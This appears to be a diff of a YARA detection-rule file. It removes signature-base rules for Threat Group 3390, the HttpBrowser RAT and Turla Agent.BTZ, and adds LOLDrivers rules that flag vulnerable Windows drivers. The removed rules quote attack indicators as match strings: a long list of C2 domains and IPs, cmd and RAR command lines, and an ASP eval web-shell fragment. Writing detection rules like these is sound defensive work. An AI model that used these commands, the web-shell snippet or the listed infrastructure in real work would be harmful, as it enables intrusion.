-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "718fc72942b9b706488575c0296017971170463f6f40fa19b08fc84b79bf0cef"
-		hash2 = "1c0379481d17fc80b3330f148f1b87ff613cfd2a6601d97920a0bcd808c718d0"
-		hash3 = "555952aa5bcca4fa5ad5a7269fece99b1a04816d104ecd8aefabaa1435f65fa5"
-		hash4 = "71f7a9da99b5e3c9520bc2cc73e520598d469be6539b3c243fb435fe02e44338"
-		hash5 = "65bbf0bd8c6e1ccdb60cf646d7084e1452cb111d97d21d6e8117b1944f3dc71e"
 
 	strings:
-		$s0 = "NvSmartMax.dll" fullword ascii
-		$s1 = "NvSmartMax.dll.url" fullword ascii
-		$s2 = "Nv.exe" fullword ascii
-		$s4 = "CryptProtectMemory failed" fullword ascii
-		$s5 = "CryptUnprotectMemory failed" fullword ascii
-		$s7 = "r%.*s(%d)%s" fullword wide
-		$s8 = " %s CRC " fullword wide
-		$op0 = { c6 05 26 49 42 00 01 eb 4a 8d 85 00 f8 ff ff 50 }
-		$op1 = { 8d 85 c8 fe ff ff 50 8d 45 c8 50 c6 45 47 00 e8 }
-		$op2 = { e8 e6 65 00 00 50 68 10 43 41 00 e8 56 84 00 00 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310034002e0031003000320034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310034002e0031003000320034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100340020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of ($s*) and 1 of ($op*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Httpbrowser_RAT_Dropper_Gen2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_9A54 : FILE
 {
 	meta:
-		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cd559642-a102-5946-8a7f-16c10e7f746d"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "http://snip.ly/giNB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_threatgroup_3390.yar#L156-L183"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf274053fe7729471716a710e3bd5ed027d6ab2c45f7af9a1103bfa1ada9cbf4"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "17496639-ec11-519b-8143-2d43568e09cd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6408-L6427"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9a54ef5cfbe6db599322967ee2c84db7daabcb468be10a3ccfcaa0f64d9173c7"
+		logic_hash = "a520f2236b800f2dd2b8ac9963b8e9ba3ce782cca2c1b2835540899da65168b5"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
-		hash2 = "dfa984174268a9f364d856fd47cfaca75804640f849624d69d81fcaca2b57166"
 
 	strings:
-		$s1 = "navlu.dll.urlUT" fullword ascii
-		$s2 = "VPDN_LU.exeUT" fullword ascii
-		$s3 = "pnipcn.dllUT" fullword ascii
-		$s4 = "\\ssonsvr.exe" ascii
-		$s5 = "/c del /q %s" fullword ascii
-		$s6 = "\\setup.exe" ascii
-		$s7 = "msi.dllUT" fullword ascii
-		$op0 = { 8b 45 0c 83 38 00 0f 84 98 }
-		$op1 = { e8 dd 07 00 00 ff 35 d8 fb 40 00 8b 35 7c a0 40 }
-		$op2 = { 83 fb 08 75 2c 8b 0d f8 af 40 00 89 4d dc 8b 0d }
-		$op3 = { c7 43 18 8c 69 40 00 e9 da 01 00 00 83 7d f0 00 }
-		$op4 = { 6a 01 e9 7c f8 ff ff bf 1a 40 00 96 1b 40 00 01 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 3 of ($s*) and 1 of ($op*)
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Threatgroup3390_Strings : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Oti_Otipcibussys_Kernelmodedrivertoaccessphysicalmemoryandports_4E3E : FILE
 {
 	meta:
-		description = "Threat Group 3390 APT - Strings"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9a44393b-5220-5376-ba18-2330f4623cd6"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "http://snip.ly/giNB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_threatgroup_3390.yar#L185-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d1e4889a48f4f9bfcc12237dd44cd8ad9db9918c6a5859de086d1ddc051ff937"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - otipcibus.sys"
+		author = "Florian Roth"
+		id = "71052609-e8a3-5611-ad92-8cf43a0fddf0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6430-L6448"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4e3eb5b9bce2fd9f6878ae36288211f0997f6149aa8c290ed91228ba4cdfae80"
+		logic_hash = "ef5cb96dc4f6eaaf24fe9d0a65ccb5efe54cb672a9328b9dc2bbc36af82d96e2"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\"cmd\" /c cd /d \"c:\\Windows\\Temp\\\"&copy" ascii
-		$s2 = "svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014"
-		$s3 = "ren *.rar *.zip" fullword ascii
-		$s4 = "c:\\temp\\ipcan.exe" fullword ascii
-		$s5 = "<%eval(Request.Item(\"admin-na-google123!@#" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200041006300630065007300730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00540069 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200054006f002000410063006300650073007300200050006800790073006900630061006c0020004d0065006d006f0072007900200041006e006400200050006f007200740073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 }
 
 	condition:
-		1 of them and filesize <30KB
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Threatgroup3390_C2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_DCB8 : FILE
 {
 	meta:
-		description = "Threat Group 3390 APT - C2 Server"
-		author = "Florian Roth (Nextron Systems)"
-		id = "232b5052-e349-55f1-bd7e-1afc5d35abe4"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "http://snip.ly/giNB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_threatgroup_3390.yar#L204-L323"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "be411bb8e301eb4ba611bc9d6c8f0e3b8c27b87c2dd3f8405d0eba0296117697"
-		score = 60
-		quality = 60
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "72ff75ea-c085-51bc-806e-1a43127d1c64"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6451-L6470"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "dcb815eb8e9016608d0d917101b6af8c84b96fb709dc0344bceed02cbc4ed258"
+		logic_hash = "80b8d0833d2e3675c5a1105725ef61e6914774019d4499c752a25b628a985274"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "api.apigmail.com"
-		$s2 = "apigmail.com"
-		$s3 = "backup.darkhero.org"
-		$s4 = "bel.updatawindows.com"
-		$s5 = "binary.update-onlines.org"
-		$s6 = "blackcmd.com"
-		$s7 = "castle.blackcmd.com"
-		$s8 = "ctcb.blackcmd.com"
-		$s9 = "darkhero.org"
-		$s10 = "dav.local-test.com"
-		$s11 = "test.local-test.com"
-		$s12 = "dev.local-test.com"
-		$s13 = "ocean.local-test.com"
-		$s14 = "ga.blackcmd.com"
-		$s15 = "helpdesk.blackcmd.com"
-		$s16 = "helpdesk.csc-na.com"
-		$s17 = "helpdesk.hotmail-onlines.com"
-		$s18 = "helpdesk.lnip.org"
-		$s19 = "hotmail-onlines.com"
-		$s20 = "jobs.hotmail-onlines.com"
-		$s21 = "justufogame.com"
-		$s22 = "lnip.org"
-		$s23 = "local-test.com"
-		$s24 = "login.hansoftupdate.com"
-		$s25 = "long.update-onlines.org"
-		$s26 = "longlong.update-onlines.org"
-		$s27 = "longshadow.dyndns.org"
-		$s28 = "longshadow.update-onlines.org"
-		$s29 = "longykcai.update-onlines.org"
-		$s30 = "lostself.update-onlines.org"
-		$s31 = "mac.navydocument.com"
-		$s32 = "mail.csc-na.com"
-		$s33 = "mantech.updatawindows.com"
-		$s34 = "micr0soft.org"
-		$s35 = "microsoft-outlook.org"
-		$s36 = "mtc.navydocument.com"
-		$s37 = "navydocument.com"
-		$s38 = "mtc.update-onlines.org"
-		$s39 = "news.hotmail-onlines.com"
-		$s40 = "oac.3322.org"
-		$s41 = "ocean.apigmail.com"
-		$s42 = "pchomeserver.com"
-		$s43 = "registre.organiccrap.com"
-		$s44 = "security.pomsys.org"
-		$s45 = "services.darkhero.org"
-		$s46 = "sgl.updatawindows.com"
-		$s47 = "shadow.update-onlines.org"
-		$s48 = "sonoco.blackcmd.com"
-		$s49 = "test.logmastre.com"
-		$s50 = "up.gtalklite.com"
-		$s51 = "updatawindows.com"
-		$s52 = "update-onlines.org"
-		$s53 = "update.deepsoftupdate.com"
-		$s54 = "update.hancominc.com"
-		$s55 = "update.micr0soft.org"
-		$s56 = "update.pchomeserver.com"
-		$s57 = "urs.blackcmd.com"
-		$s58 = "wang.darkhero.org"
-		$s59 = "webs.local-test.com"
-		$s60 = "word.apigmail.com"
-		$s61 = "wordpress.blackcmd.com"
-		$s62 = "working.blackcmd.com"
-		$s63 = "working.darkhero.org"
-		$s64 = "working.hotmail-onlines.com"
-		$s65 = "www.trendmicro-update.org"
-		$s66 = "www.update-onlines.org"
-		$s67 = "x.apigmail.com"
-		$s68 = "ykcai.update-onlines.org"
-		$s69 = "ykcailostself.dyndns-free.com"
-		$s70 = "ykcainobody.dyndns.org"
-		$s71 = "zj.blackcmd.com"
-		$s72 = "laxness-lab.com"
-		$s73 = "google-ana1ytics.com"
-		$s74 = "www.google-ana1ytics.com"
-		$s75 = "ftp.google-ana1ytics.com"
-		$s76 = "hotmailcontact.net"
-		$s77 = "208.115.242.36"
-		$s78 = "208.115.242.37"
-		$s79 = "208.115.242.38"
-		$s80 = "66.63.178.142"
-		$s81 = "72.11.148.220"
-		$s82 = "72.11.141.133"
-		$s83 = "74.63.195.236"
-		$s84 = "74.63.195.236"
-		$s85 = "74.63.195.237"
-		$s86 = "74.63.195.238"
-		$s87 = "103.24.0.142"
-		$s88 = "103.24.1.54"
-		$s89 = "106.187.45.162"
-		$s90 = "192.151.236.138"
-		$s91 = "192.161.61.19"
-		$s92 = "192.161.61.20"
-		$s93 = "192.161.61.22"
-		$s94 = "103.24.1.54"
-		$s95 = "67.215.232.179"
-		$s96 = "96.44.177.195"
-		$s97 = "49.143.192.221"
-		$s98 = "67.215.232.181"
-		$s99 = "67.215.232.182"
-		$s100 = "96.44.182.243"
-		$s101 = "96.44.182.245"
-		$s102 = "96.44.182.246"
-		$s103 = "49.143.205.30"
-		$s104 = "working_success@163.com"
-		$s105 = "ykcaihyl@163.com"
-		$s106 = "working_success@163.com"
-		$s107 = "yuming@yinsibaohu.aliyun.com"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Agent_BTZ_Proxy_DLL_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_CFCF : FILE
 {
 	meta:
-		description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f8032616-2a54-5107-b330-65fcc84b866e"
-		date = "2017-08-07"
-		modified = "2023-12-05"
-		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_agent_btz.yar#L13-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ea430b2888b487a5c7a91b73e8a7893b53d67e8ac95ae85fe9d15c633b2ee660"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		id = "a4c49dca-e35c-5326-9b30-729ecf65653c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6473-L6492"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cfcf32f5662791f1f22a77acb6dddfbc970fe6e99506969b3ea67c03f67687ab"
+		logic_hash = "2dd35edfdf8b82b650278186df087c5ae103f3b807faf30c72278521ff56224b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426"
-		hash2 = "628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24"
 
 	strings:
-		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Modules" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them and pe.exports("Entry"))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Agent_BTZ_Proxy_DLL_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Dcprotectsys_Dcprotectrwinxdriver_F8D4 : FILE
 {
 	meta:
-		description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2777443d-6f63-5948-855a-e064a6e0310f"
-		date = "2017-08-07"
-		modified = "2023-12-05"
-		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_agent_btz.yar#L29-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "41960e6deaee5d087b0eeee515b323cef8ead45ad305d053f6eb1897e204b003"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DcProtect.sys"
+		author = "Florian Roth"
+		id = "2de9949d-830d-5540-8b4f-1d1262b8b76c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6495-L6514"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f8d45fa03f56e2ea14920b902856666b8d44f1f1b16644baf8c1ae9a61851fb6"
+		logic_hash = "522145d0081891d18a0c1e657ca6228962e97325697b556d97a4fe311efa3aee"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88"
-		hash2 = "380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac"
-		hash3 = "f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2"
 
 	strings:
-		$s1 = { 38 21 38 2C 38 37 38 42 38 4D 38 58 38 63 38 6E
-               38 79 38 84 38 8F 38 9A 38 A5 38 B0 38 BB 38 C6
-               38 D1 38 DC 38 E7 38 F2 38 FD 38 08 39 13 39 1E
-               39 29 39 34 39 3F 39 4A 39 55 39 60 39 6B 39 76
-               39 81 39 8C 39 97 39 A2 39 AD 39 B8 39 C3 39 CE
-               39 D9 39 E4 39 EF 39 FA 39 05 3A 10 3A 1B 3A 26
-               3A 31 3A 3C 3A 47 3A 52 3A 5D 3A 68 3A 73 3A 7E
-               3A 89 3A 94 3A 9F 3A AA 3A B5 3A C0 3A CB 3A D6
-               3A E1 3A EC 3A F7 3A }
-		$s2 = "activeds.dll" ascii fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044006300500072006f00740065006300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0044006300500072006f00740065006300740020002800520029002000570069006e003800780036003400200064007200690076006500720020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032002d00320030003200300020004a00690061006e0067006d0065006e0020004500790075006e0020004e006500740077006f0072006b00200043006f002e002c004c00740064002e00200032003000310039 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them and pe.imphash()=="09b7c73fbe5529e6de7137e3e8268b7b"
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Agent_BTZ_Aug17 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Ngiodriversys_Avastng_D0E4 : FILE
 {
 	meta:
-		description = "Detects Agent.BTZ"
-		author = "Florian Roth (Nextron Systems)"
-		id = "31804208-3edb-554b-8820-e682db647435"
-		date = "2017-08-07"
-		modified = "2023-12-05"
-		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_agent_btz.yar#L54-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf4fc7820d516cf0322bf25460301b4d04f914814fc2a069164814dd4e1158be"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ngiodriver.sys"
+		author = "Florian Roth"
+		id = "a85c77e3-b898-568a-afae-39452ba4b84a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6517-L6537"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d0e4d3e1f5d5942aaf2c72631e9490eecc4d295ee78c323d8fe05092e5b788eb"
+		hash = "2ad8c38f6e0ca6c93abe3228c8a5d4299430ce0a2eeb80c914326c75ba8a33f9"
+		logic_hash = "6a29c44686032d2367b1b4b9ef342239b9490e48ba1cc5f862b66f3de6a3f4b2"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96"
-		hash2 = "49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e"
-		hash3 = "e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49"
 
 	strings:
-		$s1 = "stdole2.tlb" fullword ascii
-		$s2 = "UnInstallW" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0061007600610073007400210020004e0047002000730065007400750070002000680065006c0070006500720020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0030002e00350032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0030002e00350032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100760061007300740020004e0047 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and all of them and pe.exports("Entry") and pe.exports("InstallW") and pe.exports("UnInstallW"))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Turla_Agent_BTZ_Gen_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_77DA : FILE
 {
 	meta:
-		description = "Detects Turla Agent.BTZ"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d5e1dd3d-4f03-5f79-898b-e612d2758b60"
-		date = "2018-06-16"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_agent_btz.yar#L75-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8616d95e683f213916f06a7bf672ced90b2fa55cb4331176021614b4f0b03aed"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "5a49351a-0d32-55e6-acb8-f55a861a7da2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6540-L6560"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "77da3e8c5d70978b287d433ae1e1236c895b530a8e1475a9a190cdcc06711d2f"
+		hash = "837d3b67d3e66ef1674c9f1a47046e1617ed13f73ee08441d95a6de3d73ee9f2"
+		logic_hash = "a2918e4ffce0affe25aa7b8793c19dfa61da8321b35cb91600d0a5552e14fef6"
+		score = 40
+		quality = 80
 		tags = "FILE"
